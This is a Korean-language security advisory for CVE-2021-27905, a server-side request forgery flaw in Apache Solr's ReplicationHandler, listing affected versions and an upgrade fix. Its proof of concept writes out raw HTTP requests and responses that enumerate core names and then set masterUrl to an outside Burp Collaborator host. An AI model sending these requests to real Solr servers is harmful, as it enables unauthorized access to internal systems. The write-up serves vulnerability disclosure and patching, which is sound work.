
[CVE-2021-27905] Apache Solr ReplicationHandler 서버 측 요청 위조(SSRF)
[CVE-2021-27905] Apache Solr ReplicationHandler 서버 측 요청 위조 (SSRF)
Hit Counter
Apache Solr (Searching On Lucene with Replication의 약자)는 Apache Lucene 라이브러리 기반의 무료 오픈소스 검색 엔진입니다. Java로 작성되었습니다. Apache Solr은 RESTful XML/HTTP 및 JSON API를 제공하며, Java, Python, Ruby, C#, PHP 등 다양한 프로그래밍 언어를 위한 클라이언트 라이브러리를 갖추고 있어 웹사이트, 데이터베이스, 파일 등의 검색 기반 및 빅데이터 분석 애플리케이션 구축에 사용됩니다.
Apache Solr 8.8.2 이전의 모든 버전 (7.0.0 ~ 7.7.3, 8.0.0 ~ 8.8.1)은 SSRF(서버 측 요청 위조) 취약점에 취약합니다. 이 취약점을 성공적으로 악용하면 취약한 애플리케이션 자체 또는 애플리케이션이 통신할 수 있는 다른 백엔드 시스템에서 무단 작업 또는 데이터 접근이 발생할 수 있습니다.
ReplicationHandler(일반적으로 Solr 코어 아래 /replication에 등록됨)는 다른 Solr 코어의 다른 ReplicationHandler를 지정하여 인덱스 데이터를 로컬 코어로 복제하는 데 사용되는 masterUrl(leaderUrl 별칭 포함) 매개변수를 가지고 있습니다. SSRF 취약점을 방지하기 위해 Solr는 이러한 매개변수를 shards 매개변수에 사용하는 유사한 구성과 비교해야 합니다. 이 취약점이 수정되기 전에는 그렇지 않았습니다.
개념 증명 (PoC): 이 취약점을 악용하려면 공격자가 Apache Solr의 코어 이름을 알아야 합니다. 따라서 다음 요청을 사용하여 코어 이름을 확인할 수 있습니다.
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close
{
"responseHeader":
{
"status": 0,
"QTime": 0
},
"initFailures":
{},
"status":
{
"beliana_dev":
{
"name": "beliana_dev",
"instanceDir": "/var/solr/data/beliana_dev",
"dataDir": "/var/solr/data/beliana_dev/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-04-20T13:49:06.569Z",
"uptime": 293226747
},
"beliana_prod":
{
"name": "beliana_prod",
"instanceDir": "/var/solr/data/beliana_prod",
"dataDir": "/var/solr/data/beliana_prod/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
},
"beliana_stage":
{
"name": "beliana_stage",
"instanceDir": "/var/solr/data/beliana_stage",
"dataDir": "/var/solr/data/beliana_stage/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
}
}
}

코어 이름을 확인한 후, 그 중 하나를 선택하여 다음 엔드포인트로 요청을 보냅니다: /solr/{core_name}/replication/?command=fetchindex&masterUrl={ssrf_here}
GET /solr/beliana_dev/replication/?command=fetchindex&masterUrl=http://4rwzji8a3i6xi33sjoml8qdda4gv4k.burpcollaborator.net HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: Sat, 01 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 23 Apr 2021 23:16:50 GMT
ETag: "1790105893b"
Content-Type: application/xml; charset=UTF-8
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<response>
<lst name="responseHeader">
<int name="status">0</int>
<int name="QTime">75</int>
</lst>
<str name="status">OK</str>
</response>


완화 조치: 다음 중 하나라도 적용하면 이 취약점을 방지할 수 있습니다.
8.8.2 이상으로 업그레이드하십시오.참고 자료: